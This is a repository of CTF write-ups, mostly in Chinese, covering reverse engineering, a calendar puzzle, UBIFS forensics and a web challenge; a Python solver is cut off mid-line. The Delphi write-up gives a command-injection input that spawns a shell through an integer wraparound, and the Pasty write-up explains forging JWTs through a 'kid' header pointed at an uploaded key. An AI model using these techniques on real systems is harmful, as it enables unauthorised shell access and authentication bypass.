├── 2014 └── NoConName_qual │ └── inBINcible │ ├── README.md │ └── hack.py ├── 2015 └── B-Sides_Vancouver │ └── Delphi │ └── README.md ├── 2017 ├── HITB_CTF │ ├── MISC │ │ ├── 2017_Dating_in_Singapore │ │ │ └── README.md │ │ └── Flying_High │ │ │ └── README.md │ └── WEB │ │ └── Pasty │ │ └── README.md └── seccon_CTF │ └── programming │ ├── Qubic_Rube │ ├── 1.png │ ├── README.md │ └── hack.py │ └── putchar_music │ ├── README.md │ ├── a.out │ └── main.c ├── 2018 ├── ASIS_CTF_qual │ ├── forensic │ │ └── Trashy_Or_Classy │ │ │ ├── README.md │ │ │ └── bruteforce.py │ ├── misc │ │ └── Plastic │ │ │ └── README.md │ └── web │ │ └── Buy_flags │ │ └── README.md └── BambooFox_CTF_2018 │ ├── infant-gogogo │ ├── README.md │ └── exploit_infant-gogogo.py │ ├── infant-gotoheaven │ ├── README.md │ └── exploit_infant-gotoheaven.py │ └── water-impossible │ ├── README.md │ ├── exploit_water-impossible.py │ └── water-impossible.c ├── 2020 └── AIS3_pre-exam │ ├── Clara │ ├── dump.go │ ├── malware │ │ ├── io.go │ │ └── malware.go │ └── server │ │ ├── io.go │ │ └── server.go │ ├── README.md │ ├── Saburo │ ├── Saburo_docker.tar.gz │ ├── Saburo_modified.go │ └── exploit_Saburo.go │ └── Shichirou │ └── Shichirou_docker.tar.gz ├── Dockerfile ├── README.md └── others └── pwnable.tw ├── Start ├── README.md └── hack.py ├── criticalheap ├── README.md └── hack.py ├── dubblesort ├── README.md └── hack.py ├── hacknote ├── README.md └── hack.py └── orw ├── README.md └── exploit.py /2014/NoConName_qual/inBINcible/README.md: -------------------------------------------------------------------------------- 1 | # inBINcible 2 | 3 | > Challenge Link: Nope 4 | > 5 | > Category: reverse 6 | 7 | Get the key. The flag is: “NcN_” + sha1sum(key) 8 | 9 | [inbincible](https://mega.co.nz/#!sER23Y6Q!zN_jO3hT6q8onHj6B-qFeapb7vif81omSa2Ap0Or9Kk) 10 | 11 | ## 觀察 12 | 13 | 這支程式執行後直接輸出 `Nope!` ,沒有任何輸入 14 | 15 | ``` 16 | % ./inbincible 17 | Nope! 18 | ``` 19 | 20 | ### 起手式 21 | 22 | 這個執行檔是 32 位元的,且是 static link 23 | 24 | ``` 25 | % file inbincible 26 | inbincible: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped 27 | ``` 28 | 29 | 發現 `main.main` 應該是 go 的執行檔 30 | 31 | ``` 32 | % objdump -M intel -d inbincible 33 | inbincible: 檔案格式 elf32-i386 34 | 35 | 36 | Disassembly of section .text: 37 | 38 | 08048c00 : 39 | 8048c00: 65 8b 0d 00 00 00 00 mov ecx,DWORD PTR gs:0x0 40 | 8048c07: 8b 89 f8 ff ff ff mov ecx,DWORD PTR [ecx-0x8] 41 | 8048c0d: 8d 44 24 c0 lea eax,[esp-0x40] 42 | 8048c11: 3b 01 cmp eax,DWORD PTR [ecx] 43 | 8048c13: 77 0b ja 8048c20 44 | 8048c15: 31 ff xor edi,edi 45 | 8048c17: 31 c0 xor eax,eax 46 | ... 47 | ``` 48 | 49 | ### go 起手式 50 | 51 | 總共有兩個函式在 main package 中 52 | 53 | ``` 54 | % go tool objdump inbincible | grep 'TEXT main\.' 55 | TEXT main.main(SB) /home/n/ctf/ncn_quals_2014/rev400/main.go 56 | TEXT main.func.001(SB) /home/n/ctf/ncn_quals_2014/rev400/main.go 57 | TEXT main.init(SB) /home/n/ctf/ncn_quals_2014/rev400/main.go 58 | ``` 59 | 60 | ### 分析 main 61 | 62 | 過程中發現有取出 `os.Args`,可能是藉由參數輸入 63 | 64 | ``` 65 | 0x8048ef1 : cmp DWORD PTR ds:0x814e17c,0x1 66 | 0x8048ef8 : jbe 0x804937d 67 | => 0x8048efe : mov ebx,DWORD PTR ds:0x814e178 68 | 0x8048f04 : add ebx,0x8 69 | 0x8048f07 : mov esi,DWORD PTR [ebx+0x4] 70 | ``` 71 | 72 | ``` 73 | gdb-peda$ x/10gx 0x814e178 74 | 0x814e178 : 0x0000000218300000 0x0000000000000002 75 | 0x814e188 : 0xf7fc91a400000000 0x00000000f7ff9000 76 | 0x814e198 : 0x0000000000000000 0x0000000000000000 77 | 0x814e1a8 : 0x000000000814e03c 0x0000000000000000 78 | 0x814e1b8 : 0x0000004e1830e000 0x000000000000004e 79 | ``` 80 | 81 | 接著比較 `esi` 和 `ebp` ,此時的 `ebp` 是固定的 `0x10` ,而 `esi` 是參數的長度 82 | 83 | 猜測參數長度應該要是 `0x10` 84 | 85 | ``` 86 | 0x8048f07 : mov esi,DWORD PTR [ebx+0x4] 87 | 0x8048f0a : mov ebx,DWORD PTR [esp+0x6c] 88 | 0x8048f0e : mov ebp,DWORD PTR [ebx+0x4] 89 | => 0x8048f11 : cmp esi,ebp 90 | 0x8048f13 : je 0x8049048 91 | 0x8048f19 : xor ecx,ecx 92 | 0x8048f1b : mov ebp,DWORD PTR [esp+0x88] 93 | ``` 94 | 95 | ### 分析 func.001 96 | 97 | 在中間發現 reverse 題常見的 xor ,目標是 `ecx` 及 `ebp` 98 | 99 | 此時的 `ecx` 是 `0x12` ,`ebp` 則是參數的第一個字`x47 ( 'G' ) ` 100 | 101 | ``` 102 | 0x8049456 : xor ecx,ebp 103 | ``` 104 | 105 | 接著比較了 `cl` 及 `al` 106 | 107 | 此時的 `cl` 是 xor 的結果,`al` 是前面取出的值 108 | 109 | ``` 110 | 0x804946a : cmp cl,al 111 | ``` 112 | 113 | 如果兩者一樣的話,會透過 go channel 送出 0x1 給 main 114 | 115 | 猜測可能是只要 16 個字經過 xor 以後都一樣就可以通過了 116 | 117 | ## 解法 118 | 119 | 因為 xor 可以直接使用一樣的 key 來找到原始字串,所以只要取出 xor key 以及最後的答案就可以了 120 | 121 | ### xor key 122 | 123 | 實際查看該位置後發現 key 只有 5 bytes ,經過測試後發現這 5 bytes 會一直循環 124 | 125 | 也就是 `0x12, 0x45, 0x33, 0x87, 0x65, 0x12, 0x45, 0x33, 0x87, 0x65, 0x12, 0x45, 0x33, 0x87, 0x65, 0x12` 126 | 127 | ``` 128 | gdb-peda$ x/2gx 0x18300024-0x8 129 | 0x1830001c: 0x4533876500000000 0x0000000000000012 130 | ``` 131 | 132 | ### ans 133 | 134 | ``` 135 | gdb-peda$ x/2gx 0x18300040 136 | 0x18300040: 0x0306330bb6447555 0x3344b247716002e9 137 | ``` 138 | 139 | ### xor 140 | 141 | 將兩個字串經過 xor 以後就可以得到原字串 `G0w1n!C0ngr4t5!!` -------------------------------------------------------------------------------- /2014/NoConName_qual/inBINcible/hack.py: -------------------------------------------------------------------------------- 1 | query = '' 2 | 3 | key = [0x12, 0x45, 0x33, 0x87, 0x65, 0x12, 0x45, 0x33, 0x87, 0x65, 0x12, 0x45, 0x33, 0x87, 0x65, 0x12] 4 | ans = [0x55, 0x75, 0x44, 0xb6, 0x0b, 0x33, 0x06, 0x03, 0xe9, 0x02, 0x60, 0x71, 0x47, 0xb2, 0x44, 0x33] 5 | 6 | for i in range(16): 7 | query += chr(key[i] ^ ans[i]) 8 | 9 | print query 10 | -------------------------------------------------------------------------------- /2015/B-Sides_Vancouver/Delphi/README.md: -------------------------------------------------------------------------------- 1 | # Delphi 2 | 3 | > Challenge link: Nope 4 | > 5 | > Category: reverse 6 | 7 | [delphi](https://github.com/ctfs/write-ups-2015/blob/master/bsides-vancouver-ctf-2015/ownable/delphi/delphi-07a5c9d07a4c20ae81a2ddc66b9602d0dcceb74b) 8 | 9 | [libtwenty.so](https://github.com/ctfs/write-ups-2015/blob/master/bsides-vancouver-ctf-2015/ownable/delphi/libtwenty.so-4a3918b2efd9fbdfd20eeb8fa51ca76bc42eb2f2) 10 | 11 | ## Observation 12 | 13 | 因為有額外給的 Library ,所以要執行(分析)的時候要搭配 `LD_LIBRARY_PATH=.` 將當前資料夾指定給 Library 路徑 14 | 15 | ```bash 16 | $ LD_LIBRARY_PATH=. ./delphi 17 | Welcome! 18 | 19 | Are you ready to play 20 questions? No? Perfect! 20 | I'm thinking of something big, metal, and orange. Go! 21 | > test 22 | Who's that? 23 | > deadbeef 24 | Who's that? 25 | > 26 | ``` 27 | 28 | ### file 29 | 30 | ```bash 31 | $ file ./delphi 32 | ./delphi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70886b932f383987896e371d422ab8a4089bd148, not stripped 33 | ``` 34 | 35 | ### go binary 36 | 37 | Objdump 後發現 `main.main` ,是 go 的 binary 檔,其中在 main package 中有兩個比較特別的 function 38 | 39 | - main.doTheMagic 40 | - main._Cfunc_check_answer (cgo 的 function) 41 | 42 | ``` bash 43 | $ objdump -d delphi | grep '.*main.*>:' 44 | 0000000000400df0 <__libc_start_main@plt>: 45 | 0000000000401280 : 46 | 0000000000401c30 : 47 | 0000000000401df0 : 48 | 00000000004021c0 : 49 | 0000000000402230 : 50 | 0000000000402270 : 51 | 0000000000411b20 : 52 | 00000000004295b0
: 53 | ``` 54 | 55 | ## Solution 56 | 57 | ### Input 58 | 59 | 一開始先找看看輸入的地方 60 | 61 | ``` bash 62 | $ go tool objdump delphi | grep '.*main\.go.*Scan' 63 | main.go:34 0x4016ee bd30b74f00 MOVL $bufio.ScanLines.f(SB), BP 64 | main.go:35 0x401755 e816b80200 CALL bufio.(*Scanner).Scan(SB) 65 | ``` 66 | 67 | ```bash 68 | 0x401747 : mov QWORD PTR [rsp+0x48],rax 69 | 0x40174c : mov rbx,QWORD PTR [rsp+0x48] 70 | 0x401751 : mov QWORD PTR [rsp],rbx 71 | => 0x401755 : call 0x42cf70 72 | 0x40175a : movzx rbx,BYTE PTR [rsp+0x8] 73 | 0x401760 : cmp bl,0x0 74 | 0x401763 : je 0x4018b1 75 | 0x401769 : mov rdi,QWORD PTR [rsp+0x48] 76 | Guessed arguments: 77 | arg[0]: 0xc208028130 --> 0x0 78 | arg[1]: 0x7ffff7e20df0 --> 0xc208020000 --> 0x0 79 | ``` 80 | 81 | 輸入 deadbeef 後繼續觀察 82 | 83 | 發現後面出現一段有趣的比較,此時的 `rdx` 是輸入的長度,`rax` 是 'go' 的長度 84 | 85 | 由底下 `jl` 和 `jb` 可知 **輸入不能小於 2 ** 86 | 87 | ```bash 88 | RAX: 0x2 89 | RBX: 0x4d7f60 --> 0x4d7f70 --> 0x6f67 ('go') 90 | RCX: 0x66656562 ('beef') 91 | RDX: 0x8 92 | RSI: 0x4d7f70 --> 0x6f67 ('go') 93 | RDI: 0xc208000260 ("deadbeef") 94 | RBP: 0x7ffff7fb3000 --> 0x781d28 (0x00007ffff7fb3000) 95 | RSP: 0x7ffff7e20dc0 --> 0xc208013000 ("deadbeef\n") 96 | [-------------------------------------code-------------------------------------] 97 | 0x401939 : mov rax,QWORD PTR [rbx+0x8] 98 | 0x40193d : mov QWORD PTR [rsp+0x90],rdx 99 | 0x401945 : mov QWORD PTR [rsp+0xb0],rax 100 | => 0x40194d : cmp rdx,rax 101 | 0x401950 : jl 0x401baa 102 | 0x401956 : cmp rdx,rax 103 | 0x401959 : jb 0x401bb2 104 | 0x40195f : mov QWORD PTR [rsp+0xb8],rdi 105 | ``` 106 | 107 | 再往下看,出現了 `runtime.eqstring` 108 | 109 | 比較的目標是 輸入 ( 'deadbeef' ) 以及 'go' 的前兩個 byte (0x2) 110 | 111 | ```bash 112 | 0x401986 : mov QWORD PTR [rsp+0x18],rax 113 | => 0x40198b : call 0x425600 114 | 0x401990 : movzx rbx,BYTE PTR [rsp+0x20] 115 | [------------------------------------stack-------------------------------------] 116 | 0000| 0x7ffff7e20dc0 --> 0xc208000260 ("deadbeef") 117 | 0008| 0x7ffff7e20dc8 --> 0x2 118 | 0016| 0x7ffff7e20dd0 --> 0x4d7f70 --> 0x6f67 ('go') 119 | 0024| 0x7ffff7e20dd8 --> 0x2 120 | ``` 121 | 122 | 實際測試一下,果然輸入開頭是 go 的話就會出現不一樣的結果 123 | 124 | ```bash 125 | LD_LIBRARY_PATH=. ./delphi 126 | Welcome! 127 | 128 | Are you ready to play 20 questions? No? Perfect! 129 | I'm thinking of something big, metal, and orange. Go! 130 | > goabcd 131 | Sneaky, sneaky. Go where? How fast? 132 | > go 133 | Sneaky, sneaky. Go where? How fast? 134 | > abcd 135 | Who's that? 136 | > 137 | ``` 138 | 139 | 比對正確後就會進入 `main.doTheMagic` 了 140 | 141 | ```bash 142 | 0x401a0d : mov QWORD PTR [rsp+0x8],rax 143 | => 0x401a12 : call 0x401c30 144 | 0x401a17 : lea rbx,ds:0x4d4060 145 | ``` 146 | 147 | ### doTheMagic 148 | 149 | 繼續往下看,發現 `strings.Split` ,以空格( ' ' )作為切割點 150 | 151 | 繼續執行後就結束了 152 | 153 | ```bash 154 | 0x401c77 : mov rdi,rbp 155 | 0x401c7a : movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi] 156 | 0x401c7c : movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi] 157 | => 0x401c7e : call 0x44a480 158 | 0x401c83 : mov rdx,QWORD PTR [rsp+0x20] 159 | 0x401c88 : mov rax,QWORD PTR [rsp+0x28] 160 | 0x401c8d : mov rcx,QWORD PTR [rsp+0x30] 161 | 0x401c92 : mov QWORD PTR [rsp+0x68],rdx 162 | Guessed arguments: 163 | arg[0]: 0x7ffff7e20d40 --> 0x8 164 | arg[1]: 0x4d37d0 --> 0x20 (' ') 165 | ``` 166 | 167 | 另外在後面可以找到 `main._Cfunc_check_answer` 168 | 169 | ```bash 170 | 401dbf: e8 6c 04 00 00 callq 402230 171 | ``` 172 | 173 | 我猜可能輸入要用空格分成好幾段,因此我在 `main._Cfunc_check_answer` 設斷點,並填入不同數目的輸入測試,最後發現需要輸入共三段就會經過斷點,輸入格式如下 174 | 175 | ``` 176 | go 177 | ``` 178 | 179 | ### check_answer 180 | 181 | 往下看發現他利用 `cgocall` 呼叫了 `0x400f80` 182 | 183 | ```bash 184 | => 0x402249 : mov eax,0x400f80 185 | 0x40224e : mov QWORD PTR [rsp],rax 186 | 0x402252 : lea rax,[rsp+0x18] 187 | 0x402257 : mov QWORD PTR [rsp+0x8],rax 188 | 0x40225c : call 0x404da0 189 | ``` 190 | 191 | ```bash 192 | gdb-peda$ x/5gi 0x400f80 193 | 0x400f80 <_cgo_de3376964270_Cfunc_check_answer>: mov rsi,QWORD PTR [rdi+0x8] 194 | 0x400f84 <_cgo_de3376964270_Cfunc_check_answer+4>: mov edi,DWORD PTR [rdi] 195 | 0x400f86 <_cgo_de3376964270_Cfunc_check_answer+6>: jmp 0x400de0 196 | 0x400f8b: nop DWORD PTR [rax+rax*1+0x0] 197 | 0x400f90 <_cgo_de3376964270_Cfunc_free>: mov rdi,QWORD PTR [rdi] 198 | ``` 199 | 200 | 要追進去的話,建議是在 `0x400f80` 設斷點,接著 continue 過去,避免中途沒跟到 201 | 202 | 最後會回到 check_answer 203 | 204 | ``` bash 205 | => 0x7ffff7bd5758 : push rbp 206 | 0x7ffff7bd5759 : mov rbp,rsp 207 | 0x7ffff7bd575c : sub rsp,0xa0 208 | 0x7ffff7bd5763 : mov DWORD PTR [rbp-0x94],edi 209 | 0x7ffff7bd5769 : mov QWORD PTR [rbp-0xa0],rsi 210 | ``` 211 | 212 | 往下追會出現一個有趣的東西 213 | 214 | 此時的 `eax` 是最後一段輸入的值,因為我輸入的是 `go abc def` ,所以這邊的 eax 因爲轉不出來所以變成 0 215 | 216 | add 後變成 42,由此可知 [rbp-0x2] 原始值應該是 42 217 | 218 | ```bash 219 | 0x7ffff7bd5789 : mov eax,DWORD PTR [rbp-0x94] 220 | => 0x7ffff7bd578f : add WORD PTR [rbp-0x2],ax 221 | 0x7ffff7bd5793 : movzx eax,WORD PTR [rbp-0x2] 222 | 0x7ffff7bd5797 : cmp eax,0x4 223 | 0x7ffff7bd579a : ja 0x7ffff7bd57ed 224 | ``` 225 | 226 | 如果比較符合後跳過去,會出現 `strcat` 以及 `system` 227 | 228 | 在 stack 中可以看到 ’echo' 以及第二段輸入 'abc' ,看來是合成 'echo abc' 以後利用 system 執行 229 | 230 | ```bash 231 | => 0x7ffff7bd57d7 : call 0x7ffff7bd5650 232 | 0x7ffff7bd57dc : lea rax,[rbp-0x90] 233 | 0x7ffff7bd57e3 : mov rdi,rax 234 | 0x7ffff7bd57e6 : call 0x7ffff7bd5630 235 | [------------------------------------stack-------------------------------------] 236 | 0000| 0x7fffffffe4f0 --> 0x788170 --> 0x636261 ('abc') 237 | 0008| 0x7fffffffe4f8 --> 0x0 238 | 0016| 0x7fffffffe500 --> 0x206f686365 ('echo ') 239 | ``` 240 | 241 | 綜合上述,我們應該要使 42 + {number} >= 4 242 | 243 | 這裡有個有趣的地方,他在取值的時候是使用 WORD (2 bytes) 來取,當這裡的值超過 WORD 上限時就會歸零,我們可以利用這個點來達成上述的條件 244 | 245 | ``` 246 | number = 2^16 - 42 + eax 247 | ``` 248 | 249 | ### command injection 250 | 251 | 前面有看到組合的 'echo abc' ,此時可以利用 `;` 來進行 command injection 來拿到 shell 252 | 253 | ```bash 254 | $ LD_LIBRARY_PATH=. ./delphi 255 | Welcome! 256 | 257 | Are you ready to play 20 questions? No? Perfect! 258 | I'm thinking of something big, metal, and orange. Go! 259 | > go abc;/bin/sh 65498 # 2^16 - 42 + 4 (eax = 4) 260 | abc 261 | $ ls 262 | delphi libtwenty.so peda-session-delphi.txt 263 | $ 264 | ``` -------------------------------------------------------------------------------- /2017/HITB_CTF/MISC/2017_Dating_in_Singapore/README.md: -------------------------------------------------------------------------------- 1 | # 2017, Dating in Singapore 2 | 3 | > Challenge Link: [2017, Dating in Singapore](http://hitb.xctf.org.cn/contest_challenge/) 4 | > 5 | > Category: MISC 6 | 7 | 01081522291516170310172431-050607132027162728-0102030209162330-02091623020310090910172423-02010814222930-0605041118252627-0203040310172431-0102030108152229151617-04050604111825181920-0108152229303124171003-261912052028211407-04051213192625 8 | 9 | ## 分析字串 10 | 11 | - 用 - 分隔的話共有12段 12 | - 每段的長度不一樣,但都是雙數 13 | 14 | ## 嘗試 15 | 16 | - 每兩個一組轉成ascii -> 沒意思 17 | - 轉成hex -> 沒意思 18 | 19 | ## 解法 20 | 21 | - 觀察標題 “2017, Dating in Singapore” -> 可能跟日期有關 22 | - 發現每兩個一組都不會超過31,又共有12個月 23 | - 找到新加坡2017的月曆後將對應的日期標記出來 24 | 25 | ![](http://i.imgur.com/jJpjlMX.png) -------------------------------------------------------------------------------- /2017/HITB_CTF/MISC/Flying_High/README.md: -------------------------------------------------------------------------------- 1 | # Flying_High 2 | 3 | > Challenge Link: [Flying_High](http://hitb.xctf.org.cn/contest_challenge/) 4 | > 5 | > Category: MISC 6 | 7 | We found a crashed drone, are you able to recover information what this drone was doing? 8 | [Flying_High.tar.gz](http://hitb.xctf.org.cn/media/task/158195de-cd06-4837-98e5-1129101fb2e4.gz):43ce56686b4f38b68108140825434f76bfed47530a92f3a6469c202746c257f2 9 | 10 | ## 分析 11 | 12 | 附件打開後有四個binanry檔 13 | 14 | ``` 15 | image0.bin 16 | image1.bin 17 | image2.bin 18 | image3.bin 19 | ``` 20 | 21 | 用binwalk發現裡面有很多檔案 22 | 23 | ``` 24 | DECIMAL HEXADECIMAL DESCRIPTION 25 | 0 0x0 UBIFS filesystem superblock node, CRC: 0x3A905A7, flags: 0x0, min I/O unit size: 2048, erase block size: 126976, erase block count: 58, max erase blocks: 58, format version: 4, compression type: none 26 | … 27 | 262144 0x40000 UBIFS filesystem master node, CRC: 0x40782ADA, highest inode: 72, commit number: 61 28 | 264192 0x40800 UBIFS filesystem master node, CRC: 0x6D072259, highest inode: 72, commit number: 62 29 | 266240 0x41000 UBIFS filesystem master node, CRC: 0x13DCBFF9, highest inode: 72, commit number: 63 30 | 268288 0x41800 UBIFS filesystem master node, CRC: 0x1EDB0C74, highest inode: 73, commit number: 64 31 | 270336 0x42000 UBIFS filesystem master node, CRC: 0x5E9D0073, highest inode: 73, commit number: 65 32 | 272384 0x42800 UBIFS filesystem master node, CRC: 0xFF510C2, highest inode: 74, commit number: 66 33 | 274432 0x43000 UBIFS filesystem master node, CRC: 0xB70FE71F, highest inode: 74, commit number: 67 34 | 1525808 0x174830 XML document, version: "1.0" 35 | 1527856 0x175030 XML document, version: "1.0" 36 | 1529904 0x175830 XML document, version: "1.0" 37 | 1531952 0x176030 XML document, version: "1.0" 38 | 1534000 0x176830 XML document, version: "1.0" 39 | 1536048 0x177030 XML document, version: "1.0" 40 | 1538168 0x177878 XML document, version: "1.0" 41 | 1540144 0x178030 XML document, version: "1.0" 42 | 1542192 0x178830 XML document, version: "1.0" 43 | 1544240 0x179030 XML document, version: "1.0" 44 | 1546288 0x179830 XML document, version: "1.0" 45 | 1548336 0x17A030 XML document, version: "1.0" 46 | 1550384 0x17A830 XML document, version: "1.0" 47 | 1552432 0x17B030 XML document, version: "1.0" 48 | 1554480 0x17B830 XML document, version: "1.0" 49 | 1556528 0x17C030 XML document, version: "1.0" 50 | 1558576 0x17C830 XML document, version: "1.0" 51 | 1560624 0x17D030 Zip archive data, at least v2.0 to extract, compressed size: 3725, uncompressed size: 23763, name: FVT1_MB\FVT1_MB.xml 52 | 1564398 0x17DEEE Zip archive data, at least v2.0 to extract, compressed size: 1414, uncompressed size: 5298, name: FVT1_MB\SETTINGS\SETTINGS_FVT1_MB_TESTER_1.xml 53 | 1565936 0x17E4F0 Zip archive data, at least v2.0 to extract, compressed size: 433, uncompressed size: 1440, name: FVT1_MB\TRACE.xml 54 | 1566416 0x17E6D0 Zip archive data, at least v2.0 to extract, compressed size: 1340, uncompressed size: 20339, name: HMI_1_TESTER.xml 55 | 1567802 0x17EC3A Zip archive data, at least v2.0 to extract, compressed size: 304, uncompressed size: 815, name: MAIN.xml 56 | … 57 | ``` 58 | 59 | ## 嘗試 60 | 61 | 每個binanry都dump出來看看,內含多個xml檔 62 | - 稍微看了下,不太明白內容是啥 63 | - 用strings掃過,沒找到hitb, flag之類的字眼 64 | 65 | ## 解法 66 | 67 | - 用`file`確定檔案型別 -> 發現UBIfs 68 | ``` 69 | % file image0.bin 70 | image0.bin: UBIfs image, sequence number 1, length 4096, CRC 0x03a905a7 71 | ``` 72 | 73 | - 利用[ubireader](https://github.com/jrspruitt/ubi_reader/)拉出完整的目錄結構 74 | - 在image3.bin中發現一支影片 75 | 76 | ![flying_high](http://i.imgur.com/q4GsGiX.jpg) -------------------------------------------------------------------------------- /2017/HITB_CTF/WEB/Pasty/README.md: -------------------------------------------------------------------------------- 1 | # Pasty 2 | 3 | > Challenge Link: [Pasty](http://hitb.xctf.org.cn/contest_challenge/) 4 | > 5 | > Category: Web 6 | 7 | Can you find the administrator's secret message? 8 | 9 | ## 分析 10 | 11 | 此題提供一個可以用帳密登入的記事本網站,目標是取得管理員帳密 12 | - 發現登入後用jwt作為token來認證 13 | - 只要改動token中,使用者的名字就可以達成了 14 | 15 | ## 嘗試 16 | 17 | 上網找jwt的漏洞之類的 -> 找到的不能用QQ 18 | 19 | ## 解法 20 | 21 | jwt的header中有一個**kid**,這個代表的是公鑰的位址 22 | -> 可以自己產生公私鑰,用私鑰加密後,把kid改成公鑰位址送回去 23 | 24 | 但是公鑰的位址在伺服器底下的目錄,所以要先把公鑰貼在pasty上,接著取出在伺服器上的位址貼進去 25 | 26 | > 公鑰會自動加上.pem該如何處理? 27 | > 28 | > 在網址最後面加上?,讓.pem變成參數 29 | -------------------------------------------------------------------------------- /2017/seccon_CTF/programming/Qubic_Rube/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frozenkp/CTF/f335faccc4abb90ad6680785c19b5337510f954a/2017/seccon_CTF/programming/Qubic_Rube/1.png -------------------------------------------------------------------------------- /2017/seccon_CTF/programming/Qubic_Rube/README.md: -------------------------------------------------------------------------------- 1 | # Qubic Rube 2 | 3 | > Challenge Link: [Qubic_Rube](https://score-quals.seccon.jp/question/1a33d91bd704cbbc91e11b42bb27dba7812399ec) 4 | > 5 | > Category: programming 6 | 7 | Please continue to solve Rubic's Cube and read QR code. 8 | 9 | http://qubicrube.pwn.seccon.jp:33654 10 | 11 | ## Solution 12 | 13 | This challenge is really a "**programming challenge**". Orz 14 | 15 | This site give you a Rubik's Cube like the photo below, you should **solve** it and **scan** the QRcode. Then, you will get a link to the next Rubik's Cube...... 16 | 17 | ![](https://i.imgur.com/MFFWlPd.png) 18 | 19 | **Be careful: The URLs are not always the same color** 20 | 21 | 1. download all six images and split each one to nine parts. 22 | 2. categorized depend on the background color. 23 | 3. there are four possible pieces at same place because of rotation. 24 | 4. try every possible QRcode brutally to find the right one. 25 | 26 | ``` 27 | ******************11ed5b705e72e9fa2e57****************** 28 | 11 : (255, 213, 0) 29 | SECCON 2017 Online CTF 30 | 11 : (196, 30, 58) 31 | Qubic Rube 32 | 11 : (255, 88, 0) 33 | Next URL is: 34 | 11 : (255, 255, 255) 35 | Have fun! 36 | 11 : (0, 81, 186) 37 | No. 11 / 50 38 | 11 : (0, 158, 96) 39 | http://qubicrube.pwn.seccon.jp:33654/12de86366ccad8ad3f0e 40 | find at color (0, 158, 96) 41 | ******************12de86366ccad8ad3f0e****************** 42 | 12 : (255, 213, 0) 43 | No. 12 / 50 44 | 12 : (196, 30, 58) 45 | Next URL is: 46 | 12 : (255, 88, 0) 47 | Qubic Rube 48 | 12 : (255, 255, 255) 49 | http://qubicrube.pwn.seccon.jp:33654/131c139206e8120f4e89 50 | find at color (255, 255, 255) 51 | ******************131c139206e8120f4e89****************** 52 | 13 : (255, 213, 0) 53 | Next URL is: 54 | ``` 55 | 56 | ## Dependency 57 | 58 | - [PIL](http://www.pythonware.com/products/pil/) 59 | - [zbarlight](https://github.com/Polyconseil/zbarlight) 60 | -------------------------------------------------------------------------------- /2017/seccon_CTF/programming/Qubic_Rube/hack.py: -------------------------------------------------------------------------------- 1 | from PIL import Image 2 | import zbarlight 3 | import urllib 4 | import time 5 | 6 | yellow = (255, 213, 0) 7 | red = (196, 30, 58) 8 | orange = (255, 88, 0) 9 | white = (255, 255, 255) 10 | blue = (0, 81, 186) 11 | green = (0, 158, 96) 12 | color = [yellow, red, orange, white, blue, green] 13 | colorNow = yellow 14 | 15 | photo = '' 16 | 17 | def photoInit(): 18 | global photo 19 | photo = Image.open('1.png') 20 | pix = photo.load() 21 | for i in range(0, photo.size[0]): 22 | for j in range(0, photo.size[1]): 23 | pix[i, j] = (0, 0, 0) 24 | 25 | mayPiece = '' 26 | 27 | def init(): 28 | global mayPiece 29 | photoInit() 30 | mayPiece = [[],[],[],[],[],[],[],[],[],[]] 31 | 32 | def rotatePiece(piece): 33 | return zip(*piece[::-1]) 34 | 35 | def pieceDebug(piece, name): 36 | global photo 37 | photoInit() 38 | pix = photo.load() 39 | for i in range(0, 82): 40 | for j in range(0, 82): 41 | pix[i,j] = piece[i][j] 42 | photo.save(name+'.png') 43 | 44 | def getIndex(x, y): 45 | if x<82: 46 | if y<82: 47 | return 1 48 | elif y>=82 and y<164: 49 | return 2 50 | else: 51 | return 3 52 | elif x>=82 and x<164: 53 | if y<82: 54 | return 4 55 | elif y>=82 and y<164: 56 | return 5 57 | else: 58 | return 6 59 | else: 60 | if y<82: 61 | return 7 62 | elif y>=82 and y<164: 63 | return 8 64 | else: 65 | return 9 66 | 67 | def splitPiece(arr, x, y): 68 | global photo 69 | out = [] 70 | for i in range(0, 10): 71 | tmp = [] 72 | for j in range(0, 82): 73 | tmp.append([]) 74 | out.append(tmp) 75 | for i in range(0, y): 76 | for j in range(0, x): 77 | out[getIndex(j,i)][i%82].append(arr[i,j]) 78 | return out 79 | 80 | def getPiece(name): 81 | global colorNow 82 | global mayPiece 83 | im = Image.open(name) 84 | pix = im.load() 85 | piece = splitPiece(pix, im.size[0], im.size[1]) 86 | for i in range(1, len(piece)): 87 | valid = False 88 | for j in piece[i]: 89 | if colorNow in j: 90 | valid = True 91 | break 92 | if valid: 93 | target = [] 94 | if i == 1: 95 | target = [7,9,3,1] 96 | elif i == 2: 97 | target = [4,8,6,2] 98 | elif i == 3: 99 | target = [1,7,9,3] 100 | elif i == 4: 101 | target = [8,6,2,4] 102 | elif i == 6: 103 | target = [2,4,8,6] 104 | elif i == 7: 105 | target = [9,3,1,7] 106 | elif i == 8: 107 | target = [6,2,4,8] 108 | elif i == 9: 109 | target = [3,1,7,9] 110 | else: 111 | target = [5,5,5,5] 112 | 113 | for j in target: 114 | piece[i] = rotatePiece(piece[i]) 115 | mayPiece[j].append(piece[i]) 116 | 117 | 118 | 119 | def buildPhoto(): 120 | global mayPiece 121 | global photo 122 | pix = photo.load() 123 | for a in range(0, len(mayPiece[1])): 124 | for b in range(0, len(mayPiece[2])): 125 | for c in range(0, len(mayPiece[3])): 126 | if c == a: 127 | continue 128 | for d in range(0, len(mayPiece[4])): 129 | if d == b: 130 | continue 131 | for e in range(0, len(mayPiece[5])): 132 | for f in range(0, len(mayPiece[6])): 133 | if f in [b,d]: 134 | continue 135 | for g in range(0, len(mayPiece[7])): 136 | if g in [a,c]: 137 | continue 138 | for h in range(0, len(mayPiece[8])): 139 | if h in [b,f,d]: 140 | continue 141 | for i in range(0, len(mayPiece[9])): 142 | if i in [a,c,g]: 143 | continue 144 | index = [0,a,b,c,d,e,f,g,h,i] 145 | for x in range(0, photo.size[0]): 146 | for y in range(0, photo.size[1]): 147 | tmp = getIndex(x,y) 148 | pix[y,x] = mayPiece[tmp][index[tmp]][y%82][x%82] 149 | #photo.save(str(a)+str(b)+str(c)+str(d)+str(e)+str(f)+str(g)+str(h)+str(i)+'.png') 150 | #time.sleep(3) 151 | code = 